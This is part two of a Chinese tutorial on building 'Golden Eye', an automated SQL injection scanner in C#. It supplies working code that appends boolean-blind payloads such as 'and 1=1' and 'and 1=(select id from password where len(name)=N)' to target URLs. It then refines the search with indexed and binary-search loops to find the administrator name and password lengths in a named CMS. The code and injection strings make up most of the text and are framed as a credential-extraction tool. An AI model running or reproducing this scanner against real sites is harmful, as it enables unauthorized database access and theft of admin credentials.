1. 程式人生 > >黃金眼——SQL注入掃描器的製作(2)

黃金眼——SQL注入掃描器的製作(2)

程式的編寫:

終於可以開始我最喜歡的部分了(^_*)。首先我要說一下我如何選擇程式設計工具。我的很多工具的編寫都是基於dotNET平臺,用C#編寫的。我覺得這種輕量級的工具應該用快速、方便的方法來編寫。當然,使用C/C++甚至彙編來編寫。你的工具執行效率會非常高。不過是不是太浪費了點呢?

這裡我要說點題外話。有朋友在我站上留言說該怎麼學程式設計。我的觀點,語言只是一個載體,一種表達方式。我想大家一定有這樣的體會:在描述一個事件或是一個物體時。有的時候用語言描述比較準確、方便;有的時候用數字描述更好。就是這個道理。程式設計,其實你用任何語言都可以。但是應該選擇最方便,最快速的。我個人很反對,因為喜歡彙編就排斥C#、JAVA這樣的中介軟體語言。因為喜歡C#或JAVA就排斥C/C++。這都是極端錯誤的!!!

好了,廢話了一大堆,多騙了很多稿費。我只是希望大家理解,因為我今天又要用C#來幹活了。嘿嘿……

老辦法,先給個介面讓大家有感性認識。今天我們就要設計這麼一個掃描器(圖1):

2004-5-16image001.jpg

在介面上放置四個文字框:txtPage、txtName、txtPass、txtLog。分別作為目標頁面輸入框、管理員名顯示框、密碼顯示框和日誌顯示框。再放置兩個按鈕:btnTest、btnOK。作為測試按鈕和掃描按鈕。然後再放一些標籤,做美化和說明作用。介面實在是太簡單了。

下面就可以開始編碼了。

為了訪問我們的目標頁面,提交精心準備的SQL注入程式碼。我們必須要訪問網路、使用HTTP協議:連線、傳送、接收、斷開……等等,我們剛才好象說的是使用C/C++編寫的過程。是的,在C#中根本不用這麼麻煩。在dotNet類庫中已經為我們準備了整套的URL操作類。

在名字空間System.Net下有兩個類:HttpWebRequest、HttpWebResponse。分別負責請求(Request)和應答(Response)。具體的使用,請看下面的程式碼:

        public bool GetPage(string url)

        {

               try

               {  

                      // 值臨時變數 r。

                      bool r = false;

                      // 對指定的 URL 建立 HttpWebRequest 物件。

                      HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);

                      // 傳送 HttpWebRequest 並等待迴應。

                      HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse();

                      // 檢測 HttpWebRequest 當為 HttpStatusCode.OK 時,設定臨時變數為 true。

                      if (myHttpWebResponse.StatusCode == HttpStatusCode.OK)

                             r = true;

                      // 釋放 HttpWebRequest 使用的資源。

                      myHttpWebResponse.Close();

                      // 函式返回臨時變數 r。

                      return r;                      

               }

               catch(WebException e)

               {

                      //捕捉到 WebException 時函式返回 false。

                      return false;

               }

               catch(Exception e)

               {

                      //捕捉到 Exception 時函式返回 false。

                      return false;

               }

        }

這個函式使用引數url傳入目標頁面的地址。

“HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);”這句建立一個HttpWebRequest物件和目標頁面相連線。

“HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse();”將傳送一個請求,並建立HttpWebResponse物件接收應答。

應答的程式碼將儲存於“myHttpWebResponse.StatusCode”中。這裡的應答程式碼就是伺服器返回的程式碼。比如200表示訪問成功、404表示頁面不存在、500表示伺服器內部錯誤(恩,好象前面SQL注入的時候,注入不成功都是顯示500錯誤麼。沒錯,看下面!)……

列舉型別HttpStatusCode中的列舉值就是上面說的伺服器返回程式碼。比如“HttpStatusCode.OK”就代表返回碼200;“HttpStatusCode. InternalServerError”就代表返回碼500。將這個應答程式碼“myHttpWebResponse.StatusCode”與列舉值“HttpStatusCode.OK”進行比較。如果相等,那麼說明頁面訪問成功,函式返回true。如果不相等,函式返回false。中間我還用try…catch…捕獲任何可能的錯誤。出現任何錯誤都返回false。

將這個函式加入主窗體的類中,同時要記得主窗體類要記得使用名字空間System.Net。這樣最核心的部分就做好了。下面我們就來看看這個函式怎麼用。

在按鈕btnTest的Click事件中新增下面的程式碼:

            private void btnTest_Click(object sender, System.EventArgs e)

              {

                     if(this.GetPage(txtPage.Text + "%20and%201=1"))

                            txtLog.Text = "該頁面可能存在 SQL 注入漏洞,可嘗試掃描!";

                     else

                            txtLog.Text = "該頁面不存在 SQL 注入漏洞,無法掃描! ";

        }

“txtPage.Text + "%20and%201=1"”實際上就是合成SQL注入語句,要將目標頁面的地址填寫在txtPage文字框中。還記得前面說到的“and 1=1”麼?這裡只不過用UNICODE對空格進行了編碼。使用函式GetPage()判斷頁面是否可以訪問。如果返回true,那麼頁面可以訪問。說明注入測試成功,否則說明失敗。

我們自己寫的GetPage()函式會用了以後,再來看看如何真正實現掃描吧。這裡是最難的地方。但是思考過程會很有意思。

在講解SQL注入漏洞的時候我說了,可以使用“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=10)”的方法判斷使用者名稱長度是不是等於10。在“金梅”系統中,管理員名最大長度為20。那麼我們就可以:

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=1)”

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=2)”

“movie.asp?id=123 and 1=(SELECT id FROM password WHERE len(name)=3)”

……

使用這樣的方法來測試管理員名到底為多長。當然,也可以用同樣的方法測試密碼的長度。不過“金梅”系統設定密碼最大長度為50。編寫下面的函式:

      private int GetFieldLen(string table, string field, int l, int h)

         {

                for(int i = l; i <= h; i++)

                       if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))

                              return i;

return 0;

         }

這個函式通用性很強。共有四個引數:table是我們要掃描的表名,在“金梅”系統中就是表password。Field是我們要測試長度的欄位名,比如“金梅”系統中的name和pwd兩個欄位。l和h兩個引數代表掃描的範圍。也就是測試的最小長度和最大長度。我們可以用這個函式來掃描管理員名,比如:GetFieldLen(“password”, “name”, 1, 20)。這時函式返回的是管理員名長度。如果掃描密碼長度可以:GetFieldLen(“password”, “pwd”, 1, 50)。

大家看到的這個函式是“黃金眼”1.0中的函式,可以說非常慢。因為為了比較出欄位值長,我們必須逐一的比較。比如很極端的情況,對方設定了一個20位長的管理員名、50位長的密碼。那麼比較的次數就是20次和50次,才能得到我們需要的長度。這種演算法被稱為“順序查詢”。演算法的優點就是簡單。大家可以看到一共用了4行程式碼,我們就完成了查詢。非常遺憾的是雖然編寫起來雖然非常簡單,但是執行效率低下!在“黃金眼”1.1中我使用“索引查詢”來提高了效率:

      private int GetFieldLen(string table, string field, int l, int h)

         {

                int index1 = (l + h) / 3;

                int index2 = (l + h) * 2 / 3;

                if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + index1.ToString() + ")"))

                     for(int i = l; i < index1; i++)

                              if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))

                                     return i;

                if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + index2.ToString() + ")"))

                     for(int i = index1; i < index2; i++)

                              if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))

                                     return i;

              for(int i = index2; i <= h; i++)

                       if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + i.ToString() + ")"))

                              return i;

return 0;

         }

是不是看得有點暈了呢?“索引查詢”的程式碼要複雜得多!其實我給大家講一下什麼是“索引查詢”上面的程式碼就很清晰了。大家先看下面的序列:

1、2、3、4、5、6、7、8、9、10、11、12、13、14、15、16、17、18、19、20

這就是我們要查詢的序列。在這個查詢過程的第一句和第二句:“int index1 = (l + h) / 3;”、“int index2 = (l + h) * 2 / 3;”,我建立的實際上是兩個索引。比如這20個元素的查詢中,第一個索引為7,第二個索引為14。大家應該注意到了,在每個順序查詢語句的前面都有一個條件語句。這個條件語句就是判斷索引。過程大致如下:

判斷欄位長度是否小於7,如果小於,採用順序查詢查詢1-6。

否則

判斷欄位長度是否小於14,如果小於,採用順序查詢查詢7-13。

否則

採用順序查詢查詢14-20。

這樣利用索引將順序查詢的範圍縮小了2/3。查詢範圍小了,比較次數減少。速度當然就提高了很多。但這是最快的方法麼?先看看下面的程式碼:

       private int GetFieldLen(string table, string field, int l, int h)

         {

                int nLen = 0;

                int low = l;

                int hig = h;

                int mid;

                int tmp = h - l;

                while((low <= hig)&&(tmp!=0))

                {

                       mid = (low + hig)/2;

                       if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")<" + mid.ToString() + ")"))

                              hig = mid - 1;

                       else

                              if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")>" + mid.ToString() + ")"))

                                     low = mid + 1;

                       else

                              if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table + "%20where%20len(" + field + ")=" + mid.ToString() + ")"))

                              {

                                     nLen = mid;

                                     break;

                              }    

                       --tmp;

                }

                return nLen;

         }

很複雜,每次迴圈都使用“mid = (low + hig)/2;”計算新值。這就是“折半查詢”。我使用自然語言描述一下“折半查詢”的方法:

迴圈:當 low < high 或 查詢次數達到最大次數

mid = (low + high) / 2 //計算low和high的中間值

判斷欄位長度是否小於中間值mid,如果小於,令high = mid – 1

否則

判斷欄位長度是否大於中間值mid,如果大於,令low = mid + 1

否則

判斷欄位長度是否等於中間值mid,如果等於,返回欄位長度。

迴圈結束;

演算法有點難理解麼?其實你只要設定一組有序數。然後隨機選取一個數,套用上面的演算法查詢,一步一步做上幾次就明白了。Step by Step!